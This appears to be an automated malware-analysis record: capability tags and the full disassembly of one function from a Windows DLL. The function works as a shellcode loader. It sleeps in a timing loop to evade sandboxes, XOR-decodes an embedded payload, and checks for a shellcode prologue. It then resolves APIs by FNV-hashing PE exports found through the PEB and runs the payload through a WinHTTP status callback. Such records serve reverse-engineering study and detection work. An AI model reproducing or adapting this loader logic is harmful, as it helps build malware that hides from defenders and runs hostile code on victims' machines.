Function at 0x180001030
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Initialize winhttp library
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
movaps xmmword [rsp + 0x50], xmm6
mov rax, qword [0x180006008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea r8, str.test
lea rdx, [0x180003348]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
movsd xmm6, qword [0x180003390]
mov r15d, 0x3e8
movabs r12, 0x311cdad160000
movabs r13, 0x112e0be826d694b3
movabs r14, 0x7ffffffffa0a1eff
movabs rbp, 0x7fffffffffffffff
dec r15d
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x1800010d0
imul rsi, rax, 0x64
jmp 0x1800010eb
cqo
idiv rbx
imul rsi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rsi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180001109
imul rdi, rax, 0x64
jmp 0x180001124
cqo
idiv rbx
imul rdi, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rdi, rax
cmp rdi, r14
jge 0x180001132
add rdi, 0x5f5e100
jmp 0x180001135
mov rdi, rbp
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180001153
imul rax, rax, 0x64
jmp 0x18000116e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x1800011e4
mov rbx, rdi
sub rbx, rax
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rdx, rax, 0x64
xorps xmm0, xmm0
cvtsi2sd xmm0, rbx
comisd xmm0, xmm6
lea rcx, [rdx + r12]
seta r8b
test r8b, r8b
jne 0x1800011a0
lea rcx, [rbx + rdx]
lea rax, [rbx + rdx]
add rdx, r12
test r8b, r8b
cmove rdx, rax
mov rax, r13
imul rdx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x3b9aca00
mov qword [rsp + 0x38], rdx
sub ecx, eax
mov dword [rsp + 0x40], ecx
lea rcx, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
jmp 0x180001135
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rbx, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rbx, 0x989680
jne 0x180001202
imul rbx, rax, 0x64
jmp 0x18000121e
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
xor ecx, ecx
sub rbx, rsi
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x180003358]
call fcn.180001520
mov rcx, rax
lea rdx, [0x1800016f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x88888889
imul r8d
movabs rax, 0x431bde82d7b634db
add edx, r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1e
imul rbx
sub r8d, ecx
mov ecx, 0x37d
sar rdx, 0x12
add r8d, 0xe29c6
mov rbp, rdx
shr rbp, 0x3f
add rbp, rdx
add ebp, r8d
call fcn.1800017d0
mov ecx, ebp
mov r14, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rsi, [0x180006040]
mov rbx, r14
sub rsi, r14
mov edi, 0x37d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
lea rbx, [rbx + 1]
mov eax, 0x92c6f3ad
imul r8d
add edx, r8d
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x37d
sub r8d, ecx
inc r8b
xor r8b, byte [rsi + rbx - 1]
xor r8b, bpl
mov byte [rbx - 1], r8b
sub rdi, 1
jne 0x1800012c5
cmp byte [r14], 0xfc
jne 0x180001312
cmp byte [r14 + 1], 0x48
je 0x180001320
test r15d, r15d
je 0x1800014e8
jmp 0x18000109b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x180003368]
call fcn.180001520
mov rcx, rax
lea rdx, [0x1800016f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800013d7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800013d7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xbea683e8
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1800013d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1800013b0
cmp r8d, 0x3150893a
je 0x1800013dc
test r9d, r9d
jne 0x180001390
mov rax, qword [rax]
jmp 0x180001360
mov ecx, dword [rbx + 0x24]
mov edx, 0x37d
add rcx, r10
movzx r8d, word [rcx + r9*2]
lea r9, [rsp + 0x30]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov r8d, 0x40
add rax, r10
mov rcx, r14
call rax
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.User_Agent
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
xor r9d, r9d
mov r8d, 0xc00
mov rcx, rax
mov rdx, r14
mov rsi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSetStatusCallback]
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov ebx, dword [rax + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1800014c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1800014c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4b9f131a
lea rax, [r10 + r9*4]
mov edx, dword [rax + rdi]
add rdx, r10
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1800014c2
nop dword [rax]
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x1800014a0
cmp r8d, 0xe7434186
je 0x1800014cc
test r9d, r9d
jne 0x180001480
mov rcx, qword [rcx]
jmp 0x180001450
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov rcx, rsi
add rax, r10
call rax
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800017b0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
movaps xmm6, xmmword [rsp + 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret